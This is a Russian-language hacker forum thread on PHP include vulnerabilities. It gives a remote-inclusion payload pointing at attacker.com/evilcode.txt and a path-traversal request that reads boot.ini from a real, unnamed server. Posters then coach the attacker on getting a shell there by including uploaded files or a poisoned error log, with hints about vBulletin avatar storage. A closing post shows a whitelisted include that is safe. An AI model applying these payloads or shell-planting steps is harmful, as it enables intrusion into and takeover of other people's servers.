Если скрипт воспринимает только одну переменную методом GET, и обрабатывает ее следующим способом: PHP: if ($a=="abc"){include "abcd.php";} if ($a=="asd"){include "qwe.php";} все, больше никаких действий с этой переменной не производится
Баги только там, где ты можешь повлиять на аргументы функций include и подобных. Тут аргумент - строка, менять которую ты не можешь
Бажный пример: Code: if ($exec=='main.php' && file_exists("$themedir/main.php")) include "$themedir/main.php"; else include $exec; index.php?exec=http://attacker.com/evilcode.txt?
В продолжении темы... Есть бажный срипт, который позволяет подключать любые локальные файлы. Можно шелл сделать там? http:*/нискажу-сайт.com/бажный-скрипт.php?str=../../../../../../boot.ini HTML: [boot loader] timeout=0 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard RU" /noexecute=optout /fastdetect
при наличии локального инклуда шелл можно сделать так: Залить на сайт (если есть форма где-то) файл любого типа с шелл-ным содержанием,а потом через проинклудить его..выполнится код =) Или оставляем злой запрос в еррор_лог-е и путем ручного перебора пути инклудим еррор_лог =)
На счет заливания аватара с "хитрым" содержимым я догадался, там стоит vbulletin 3.5.4, не могу найти куда льет... А на счет error.log это спасибо... пример запроса бы еще, буду премного благодарен.
Вбуллитин льет в базу, а не в файловую систему. Посмотри пути к аватаркам, вложениями, и прочему на форуме. Админ мог переключить настройки в файловую систему, тогда, возможно, прокатит. Но ВБ - форум не дурак. Он вроде как содержимое вкладываемых файлов смотрит (могу ошибаться.)
Можно ещё так - Code: <?php $page = &$_GET['page']; switch ($page) { case "about": $page = "about.txt"; break; case "test": $page = "test.txt"; break; default: $page = "default.txt"; } $file = getcwd()."/text/".$page; if ($page && is_file($file)) {require($file);} ?>